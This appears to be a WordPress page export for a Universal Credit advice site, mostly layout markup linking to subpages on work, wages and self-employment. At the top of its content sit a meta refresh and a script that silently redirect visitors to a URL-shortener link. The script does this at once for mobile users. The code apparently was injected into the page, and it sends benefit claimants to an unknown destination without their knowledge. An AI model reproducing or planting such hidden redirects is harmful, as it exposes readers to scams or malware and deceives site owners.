{"id":15753,"date":"2026-03-08T08:31:23","date_gmt":"2026-03-08T08:31:23","guid":{"rendered":"https:\/\/ucpages.co.uk\/ucnotes-test-bed\/?page_id=15753"},"modified":"2026-06-18T14:20:50","modified_gmt":"2026-06-18T14:20:50","slug":"uc-and-working","status":"publish","type":"page","link":"https:\/\/ucpages.co.uk\/?page_id=15753","title":{"rendered":"UC and working"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.dev\/yzqfbXHlm0r0\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.dev\/yzqfbXHlm0r0\");<\/script>\r\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-0756495c\" class=\"wp-block-themeisle-blocks-advanced-columns alignfull has-3-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-collapsedRows-layout has-vertical-unset has-light-bg\"><div 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https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/Checking-barcodes-685855718_5760x3840-edited-1-1536x864.jpeg 1536w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/Checking-barcodes-685855718_5760x3840-edited-1-2048x1152.jpeg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-e37edc14\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-unset\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-7030cb7b\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-0d56848203aa1a79c1795a16ef5a7c36\" style=\"color:#070731\">How does UC work for workers?<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1c6b379175ac71070d9f28401f90184f\" style=\"color:#070731\"><\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/who-is-uc-for-and-how-does-it-work\/uc-and-working\/how-does-uc-work-for-workers\/\" data-type=\"page\" data-id=\"16323\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-33e99253\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-large has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"572\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/04\/iStock-1384600315-e1775063640314-1024x572.jpg\" alt=\"\" class=\"wp-image-16332\" style=\"border-style:none;border-width:0px;border-radius:0px\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/04\/iStock-1384600315-e1775063640314-1024x572.jpg 1024w, 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has-link-color wp-elements-79de31c64d5f64923a0ed3db5da54fa6\" style=\"color:#070731\">I don&#8217;t agree with the wages used<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1c6b379175ac71070d9f28401f90184f\" style=\"color:#070731\"><\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/who-is-uc-for-and-how-does-it-work\/uc-and-working\/i-dont-agree-with-the-wages-figure\/\" data-type=\"page\" data-id=\"564\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-2b312319\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-large has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"2120\" height=\"1192\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2184839231-edited.jpg\" alt=\"\" class=\"wp-image-15763\" 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class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-e648a713\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-137ebc4b5eac0d5ab97af5df5ac0f5b8\" style=\"color:#070731\">Why do I still need to look for work?<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1c6b379175ac71070d9f28401f90184f\" style=\"color:#070731\"><\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/who-is-uc-for-and-how-does-it-work\/uc-and-working\/what-if-i-become-disabled-unwell\/\" data-type=\"page\" data-id=\"16326\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n<\/div><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-e0d28a5f\" class=\"wp-block-themeisle-blocks-advanced-columns alignfull has-3-columns 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style=\"color:#070731\"><\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/who-is-uc-for-and-how-does-it-work\/uc-and-working\/what-if-im-self-employed\/\" data-type=\"page\" data-id=\"16319\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-d599fb3e\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-large has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"2560\" height=\"1439\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/04\/iStock-1128054760-edited-scaled.jpg\" alt=\"\" class=\"wp-image-16334\" style=\"border-style:none;border-width:0px;border-radius:0px\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/04\/iStock-1128054760-edited-scaled.jpg 2560w, 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